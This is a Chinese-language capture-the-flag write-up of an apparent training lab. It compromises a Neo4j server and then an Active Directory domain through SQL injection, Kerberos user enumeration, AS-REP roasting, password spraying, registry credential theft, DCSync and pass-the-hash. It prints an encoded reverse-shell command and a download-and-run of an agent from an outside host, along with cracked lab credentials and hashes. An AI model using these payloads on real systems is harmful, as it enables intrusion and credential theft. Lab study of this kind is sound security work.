這個靶機是Neo4j的RCE , 還有AD爆破 Kerberos Brute-Force , 上一次的靶機是委派攻擊 , 這一次比上次的好像簡單了
工具:
CVE-2021-34371 Neo4j RCE
kerbrute
kerbrute 爆破字典
在vps先下好java:
1 2 3 sudo apt install openjdk-11-jdk -yjava -version javac -version
用fscan:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z) [*] 服务插件: zookeeper, rdp, rabbitmq, ftp, pop3 ... 等36个 [*] 参数自适应: Timeout=1000ms, ModuleThread=5, Retry=6, ICMPRate=0.05, PocNum=5 [*] 39.100.160.135:22 ssh [Product:OpenSSH ||Version:8.2p1 Ubuntu 4ubuntu0.5] Banner:(SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5) [*] http://39.100.160.135:7474 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 400 Illegal character CNTL=0x16 Content-Type: text/html;charset=iso-885...) [*] http://39.100.160.135:7474 code:200 len:151 title:None [*] 39.100.160.135:7687 ssl Banner:(M R 2 < 8 E? 17 Ds U w z Q J A ( H P / 0 0 h T T0 * H 0 1 0 U localhost0 2106280...) 端口扫描中（11线程） ● 100.0% [==============================] (133/133) 9/s TCP:173/155 [完成] 扫描完成: 133/133 (耗时: 14.0s) [*] 扫描完成，发现 3 个开放端口 [-] 39.100.160.135:22 ssh 未发现弱密码 [-] 39.100.160.135:7687 neo4j 未发现弱密码 [-] 39.100.160.135:7474 neo4j 未发现弱密码
flag01 发现开放了7687端口，它是neo4j默认的Bolt 协议端口: (這裹彈shell有點問題 , 可能是java 11 有問題 或是別人在占用 , 我在這請隊友幫我彈出來了)
1 java -jar rhino_gadget.jar rmi://39.100.160.135:1337 "bash -c {echo,c2ggLWkgPiYgL2Rldi90Y3AvNDcuMTA1LjUxLjYwLzQ0NTUgMD4mMQ==}|{base64,-d}|{bash,-i}"
1 2 3 neo4j@ubuntu:/tmp$ wget http://47.105.51.60/linux_x64_agent neo4j@ubuntu:/tmp$ chmod +x linux_x64_agent ./linux_x64_agent -c 47.105.51.60:1122
vps: 一樣拉一下內網
1 2 3 ./linux_x64_admin -l 1122 (admin) >> use 0 (node 0) >> socks 1123
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 neo4j@ubuntu:/tmp$ cd ~ cd ~neo4j@ubuntu:~$ ls ls flag01.txt neo4j@ubuntu:~$ cat flag01.txt cat flag01.txt ██████████ ██ ░░░░░██░░░ ░░ ░██ ██ ██████████ █████ ░██ ░██░░██░░██░░██ ██░░░██ ░██ ░██ ░██ ░██ ░██░███████ ░██ ░██ ░██ ░██ ░██░██░░░░ ░██ ░██ ███ ░██ ░██░░██████ ░░ ░░ ░░░ ░░ ░░ ░░░░░░ flag01: flag{49759066-b628-4a30-9478-69473e32cd76}
flag02 用fscan掃掃 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 neo4j@ubuntu:/tmp/xnftrone$ ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link /loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000 link /ether 00:16:3e:43:6f:96 brd ff:ff:ff:ff:ff:ff inet 172.22.6.36/16 brd 172.22.255.255 scope global dynamic eth0 valid_lft 1892157014sec preferred_lft 1892157014sec inet6 fe80::216:3eff:fe43:6f96/64 scope link valid_lft forever preferred_lft forever neo4j@ubuntu:/tmp$ chmod +x ./fscan_2.2.2_linux_x64 chmod +x ./fscan_2.2.2_linux_x64neo4j@ubuntu:/tmp$ ./fscan_2.2.2_linux_x64 -h 172.22.6.36/24 ./fscan_2.2.2_linux_x64 -h 172.22.6.36/24 ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan 2.2.2 (2ede41d 2026-10-01T05:55:05Z) [*] 服务插件: netbios, nfs, imap, rsync, mssql ... 等36个 [*] 切换到ping命令模式 [*] 172.22.6.38 存活 (协议: ICMP) [*] ICMP响应率过低(0.4%)，启用TCP补充探测(253个主机) [*] 参数自适应: Timeout=1000ms, ModuleThread=30, Retry=1, ICMPRate=0.50, PocNum=30 [*] 172.22.6.38:22 ssh [Product:OpenSSH ||Version:8.2p1 Ubuntu 4ubuntu0.5] Banner:(SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5) [-] 172.22.6.38:22 ssh 未发现弱密码 [*] http://172.22.6.38 http [Product:Open Lighting Architecture daemon] Banner:(HTTP/1.1 200 OK Date: Thu, 22 Oct 2026 06:53:37 GMT Server: Apache/2.4.41 (Ubunt...) [*] 扫描完成，发现 2 个开放端口 [*] 存活主机数: 1 [*] POC加载完成: 总共487个，成功487个，失败0个 [+] http://172.22.6.38 code:200 len:1531 title:后台登录 server:Apache/2.4.41 (Ubuntu) [apache-http apache/2.4.41] [*] 扫描任务完成，耗时 7.632s，已扫描 6 个目标
整理一下:
1 2 3 4 [*] 172.22.6.38 存活 (协议: ICMP) [*] 172.22.6.38:22 ssh [Product:OpenSSH ||Version:8.2p1 Ubuntu 4ubuntu0.5] Banner:(SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.5) 明明還有個12不知道為什麼沒掃出來: 下次要試試掃多幾次 172.22.6.12 DC:DC-PROGAME.xiaorang.lab 域控
可以看見有一個sql注入
1 sudo vim /etc/proxychains4.conf
用sqlmap:
1 sqlmap -u "http://172.22.6.38/index.php" --data="username=admin&password=123" --dbs --batch
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [15:10:41] [INFO] the back-end DBMS is MySQL web server operating system: Linux Ubuntu 20.10 or 20.04 or 19.10 (focal or eoan) web application technology: Apache 2.4.41 back-end DBMS: MySQL >= 5.0.12 [15:10:42] [INFO] fetching database names available databases [5]: [*] information_schema [*] mysql [*] oa_db [*] performance_schema [*] sys [15:10:43] [INFO] fetched data logged to text files under '/home/ghsc/.local/share/sqlmap/output/172.22.6.38' [15:10:43] [WARNING] your sqlmap version is outdated [*] ending @ 15:10:43 /2026-10-22/
看看oa_db:
1 sqlmap -u "http://172.22.6.38/index.php" --data="username=admin&password=123" -D oa_db -tables
1 2 3 4 5 6 7 Database: oa_db [3 tables] +------------+ | oa_admin | | oa_f1Agggg | | oa_users | +------------+
找到flag2:
1 sqlmap -u "http://172.22.6.38/index.php" --data="username=admin&password=123" -D oa_db -T oa_f1Agggg --dump
1 2 3 4 5 6 [1 entry] +----+--------------------------------------------+ | id | flag02 | +----+--------------------------------------------+ | 1 | flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} | +----+--------------------------------------------+
flag03 再看看users 和 admin :
1 2 sqlmap -u "http://172.22.6.38/index.php" --data="username=admin&password=123" -D oa_db -T oa_admin --dump sqlmap -u "http://172.22.6.38/index.php" --data="username=admin&password=123" -D oa_db -T oa_users --dump
1 2 3 4 5 6 7 [1 entry] +----+------------------+---------------+ | id | password | username | +----+------------------+---------------+ | 1 | bo2y8kAL3HnXUiQo | administrator | +----+------------------+---------------+
登入完沒什麼東西出來
/home/ghsc/.local/share/sqlmap/output/172.22.6.38/dump/oa_db/oa_users.csv
把oa_users用戶導出: 到本機上
Kerberos brute-force 发现这些用户都是域名结尾。其中很可能就有有效的域用户
我們去下一個:
1 2 3 4 5 6 neo4j@ubuntu:/tmp$ wget http://47.105.51.60/kerbrute_linux_386 neo4j@ubuntu:/tmp$ wget http://47.105.51.60/user.txt neo4j@ubuntu:/tmp$ chmod +x kerbrute_linux_386 user.txt ./kerbrute_linux_386 userenum --dc 172.22.6.12 -d xiaorang.lab user.txt -o valid_users.txt
出來了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 diaocai@xiaorang.lab lianggui@xiaorang.lab manxue@xiaorang.lab jicheng@xiaorang.lab baqin@xiaorang.lab langying@xiaorang.lab chengqiu@xiaorang.lab maqun@xiaorang.lab wenbiao@xiaorang.lab weishengshan@xiaorang.lab louyou@xiaorang.lab wenliang@xiaorang.lab chuyuan@xiaorang.lab yulvxue@xiaorang.lab guohong@xiaorang.lab lezhong@xiaorang.lab pangzhen@xiaorang.lab luyue@xiaorang.lab ganjian@xiaorang.lab zhangxin@xiaorang.lab maoda@xiaorang.lab sheweiyue@xiaorang.lab dujian@xiaorang.lab hongqun@xiaorang.lab qiaomei@xiaorang.lab yexing@xiaorang.lab lidongjin@xiaorang.lab ganjian@xiaorang.lab wenbo@xiaorang.lab
AS-REP Roasting 对于域用户，如果设置了选项Do not require Kerberos preauthentication 此时向域控制器的88端口发送AS-REQ请求，对收到的AS-REP内容重新组合能够拼接成”Kerberos 5 AS-REP etype 23”(18200)的格式，接下来可以使用hashcat或是john对其破解，最终获得该用户的明文口令
用kali :
1 proxychains -q impacket-GetNPUsers -dc-ip 172.22.6.12 -usersfile valid_user.txt xiaorang.lab/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 [-] User diaocai@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lianggui@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User manxue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User jicheng@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User baqin@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User langying@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User chengqiu@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User maqun@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wenbiao@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User weishengshan@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User louyou@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wenliang@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User chuyuan@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User yulvxue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User guohong@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lezhong@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User pangzhen@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User luyue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ganjian@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set $krb5asrep$23$zhangxin@xiaorang.lab@XIAORANG.LAB:f5122f6621f7bfbadb23e37e324ba02c$2767059518ff967d41452c1df6a9f2234f77168170215bcc49332a93eb205e83909479fb7d58bbb3d5f07f62b6eb7bd5d1d635f0ffc15e434875ce124dc5faba7f33d996f0488b1d076763a142d58f15bb9429799df104d6e2b060b0de4e5db6cf611a46ae2335e9e6dd3665c6c351d9f0e98b441550b9719780b0cdfe87e8b621c16ef6a3818df6f0b978edf2d553a696ef71e0f9cd85f1b8bab093c0404be6cced7964f1a5e79d9be2a5d7efa39d7c42272971345b9ecb95585a693aefc05fa34ac97c0da080efa0fb3c312fe31caae3a6f788c8d72a9de26a5a0fb6beb3bc8c9cf7e8f4bfaff77e09b193 [-] User maoda@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User sheweiyue@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User dujian@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User hongqun@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User qiaomei@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User yexing@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User lidongjin@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User ganjian@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set [-] User wenbo@xiaorang.lab doesn't have UF_DONT_REQUIRE_PREAUTH set
用hashcat 爆破一下 :
1 $krb5asrep$23$zhangxin @xiaorang.lab@XIAORANG.LAB:f5122f6621f7bfbadb23e37e324ba02c$2767059518ff967d41452c1df6a9f2234f77168170215bcc49332a93eb205e83909479fb7d58bbb3d5f07f62b6eb7bd5d1d635f0ffc15e434875ce124dc5faba7f33d996f0488b1d076763a142d58f15bb9429799df104d6e2b060b0de4e5db6cf611a46ae2335e9e6dd3665c6c351d9f0e98b441550b9719780b0cdfe87e8b621c16ef6a3818df6f0b978edf2d553a696ef71e0f9cd85f1b8bab093c0404be6cced7964f1a5e79d9be2a5d7efa39d7c42272971345b9ecb95585a693aefc05fa34ac97c0da080efa0fb3c312fe31caae3a6f788c8d72a9de26a5a0fb6beb3bc8c9cf7e8f4bfaff77e09b193
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 (py311) ghsc@Jerrylaptop:~$ hashcat ./hash.txt ./rockyou.txt strawberry Session..........: hashcat Status...........: Cracked Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP) Hash.Target......: $krb5asrep$23$zhangxin @xiaorang.lab@XIAORANG.LAB:f5...09b193 Time.Started.....: Thu Oct 22 15:52:18 2026 (0 secs) Time.Estimated...: Thu Oct 22 15:52:18 2026 (0 secs) Kernel.Feature...: Pure Kernel (password length 0-256 bytes) Guess.Base.......: File (./rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#01........: 42417.4 kH/s (9.99ms) @ Accel:1024 Loops:1 Thr:32 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 786432/14344384 (5.48%) Rejected.........: 0/786432 (0.00%) Restore.Point....: 0/14344384 (0.00%) Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1 Candidate.Engine.: Device Generator Candidates.#01...: 123456 -> sonirustiani Hardware.Mon.#01.: Temp: 61c Util: 21% Core:2250MHz Mem:8001MHz Bus:8 Started: Thu Oct 22 15:52:08 2026 Stopped: Thu Oct 22 15:52:19 2026
所以user:
後面發現少了一個(沒什麼影響因為後面探rdp沒探出來):
密码喷涂 用kali 的nxc 进行密码喷涂 :
不需要加上域名，因为nxc会自动获取域名
1 proxychains -q nxc rdp 172.22.6.0/24 -u valid_user.txt -p valid_password.txt --no-bruteforce
1 2 3 4 5 6 7 8 9 ┌──(kali㉿kali)-[~/Desktop] └─$ proxychains -q nxc rdp 172.22.6.0/24 -u valid_user.txt -p valid_password.txt --no-bruteforce RDP 172.22.6.25 3389 WIN2019 [*] Windows 10 or Windows Server 2016 Build 17763 (name:WIN2019) (domain:xiaorang.lab) (nla:True) RDP 172.22.6.25 3389 WIN2019 [+] xiaorang.lab\zhangxin:strawberry (Pwn3d!) RDP 172.22.6.12 3389 DC-PROGAME [*] Windows 10 or Windows Server 2016 Build 14393 (name:DC-PROGAME) (domain:xiaorang.lab) (nla:True) RDP 172.22.6.12 3389 DC-PROGAME [+] xiaorang.lab\zhangxin:strawberry RDP 172.22.6.12 3389 DC-PROGAME [+] xiaorang.lab\wenshao:hellokitty Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
RDP 1 2 3 172.22.6.25 zhangxin@xiaorang.lab strawberry
不知道為什麼分析不出用戶出來: 不影響AD分析找到Win2019主機
要打HasSession :
用户与计算机时进行会话时，凭据会保留在内存中，说明yuxuan这个用户登录过WIN2019
再打HasSIDHistory
HasSession 現在要找yuxuan的密碼hashsession :
先找一下: 看看注册表 Winlogon
Winlogon是一个Windows组件，用来处理各种活动，如登录、注销、身份验证期间加载用户配置文件、关闭、锁定屏幕等。这种行为由注册表管理，该注册表定义在Windows登录期间启动哪些进程。所以可以依靠这个注册表来进行权限维持。
1 reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
打開powershell :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon AutoRestartShell REG_DWORD 0x1 Background REG_SZ 0 0 0 CachedLogonsCount REG_SZ 10 DebugServerCommand REG_SZ no DisableBackButton REG_DWORD 0x1 EnableSIHostIntegration REG_DWORD 0x1 ForceUnlockLogon REG_DWORD 0x0 LegalNoticeCaption REG_SZ LegalNoticeText REG_SZ PasswordExpiryWarning REG_DWORD 0x5 PowerdownAfterShutdown REG_SZ 0 PreCreateKnownFolders REG_SZ {A520A1A4-1780-4FF6-BD18-167343C5AF16} ReportBootOk REG_SZ 1 Shell REG_SZ explorer.exe ShellCritical REG_DWORD 0x0 ShellInfrastructure REG_SZ sihost.exe SiHostCritical REG_DWORD 0x0 SiHostReadyTimeOut REG_DWORD 0x0 SiHostRestartCountLimit REG_DWORD 0x0 SiHostRestartTimeGap REG_DWORD 0x0 Userinit REG_SZ C:\Windows\system32\userinit.exe, VMApplet REG_SZ SystemPropertiesPerformance.exe /pagefile WinStationsDisabled REG_SZ 0 ShellAppRuntime REG_SZ ShellAppRuntime.exe scremoveoption REG_SZ 0 DisableCAD REG_DWORD 0x1 LastLogOffEndTimePerfCounter REG_QWORD 0x162bb4e733 ShutdownFlags REG_DWORD 0x80000027 AutoLogonSID REG_SZ S-1-5-21-3623938633-4064111800-2925858365-1180 LastUsedUsername REG_SZ yuxuan AutoAdminLogon REG_SZ 1 DefaultUserName REG_SZ yuxuan DefaultPassword REG_SZ Yuxuan7QbrgZ3L DefaultDomainName REG_SZ xiaorang.lab HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AlternateShells HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\GPExtensions HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserDefaults HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AutoLogonChecked HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\VolatileUserMgrKey
可以看見有密碼出來了 , 試試 :
1 2 3 yuxuan Yuxuan7QbrgZ3L xiaorang.lab
HasSIDHistory 因为我们当前账号包含了域管的SID，所以我们也有与域管相同的特权与权利
域环境中的用户和本地用户的帐户不同，域用户帐户保存在活动目录中。在域环境中，一个域用户可以在域中的任何一台计算机上登录。在域中用户可以使用SID (Security Identifier) 来表明身份，用NTLM哈希或者Kerberos来验证身份。
上傳mimikatz打開:
1 2 log 1.txtlsadump::dcsync /domain:xiaorang.lab /user:administrator
找到了NTLM哈希了 , 話說回來上一個靶機是Kerberos委派
04d93ffd6f5f6e4490e0de23f240a5e9
获取到了域管的hash后直接PTH 到这两台主机上拿flag即可
拿了域管用戶的hash , 所以這域管還可以用來登域控
PTH 用kali :
1 proxychains impacket-wmiexec xiaorang/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk
再用hash去域控 : 172.22.6.12 DC:DC-PROGAME.xiaorang.lab 域控
1 proxychains impacket-wmiexec XIAORANG/administrator@172.22.6.12 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk
這時候鼠鼠有一個小問題了: proxychains impacket-wmiexec -hashes 00000000000000000000000000000000:1a19251fbd935969832616366ae3fe62 Administrator@172.22.2.3 -codec gbk 和proxychains impacket-wmiexec xiaorang/administrator@172.22.6.25 -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 -codec gbk 明明都是HTP 為什麼前面的Kerberos委派和NTLM哈希 有這麼大區別?
LMNT 本來是分開的 , 前者是LM hash , NT hash , (LM hash通常全填0) , 後者是NTLM , 前者是未明確指定域名的 NTLM PTH , 後者是明確指定 xiaorang 域的 NTLM PTH
